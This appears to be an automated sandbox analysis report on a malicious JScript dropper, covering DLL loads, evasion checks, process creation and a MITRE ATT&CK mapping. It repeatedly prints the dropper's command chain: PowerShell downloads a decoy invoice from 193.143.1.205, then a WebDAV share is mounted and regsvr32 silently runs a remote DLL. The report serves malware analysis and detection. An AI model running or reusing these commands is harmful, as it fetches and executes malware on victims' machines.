Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4974.js.csv");ITextStream.WriteLine(" entry:7170 f:fawbhx");ITextStream.WriteLine(" exec:2 f:fawbhx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4434			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5438			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 4434 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 5438 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8144	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1469636285.0000018A15ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpc
Source: net.exe, 00000007.00000002.1473081793.0000018A15F42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2696261974.000001D766656000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2692839918.000001D760E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
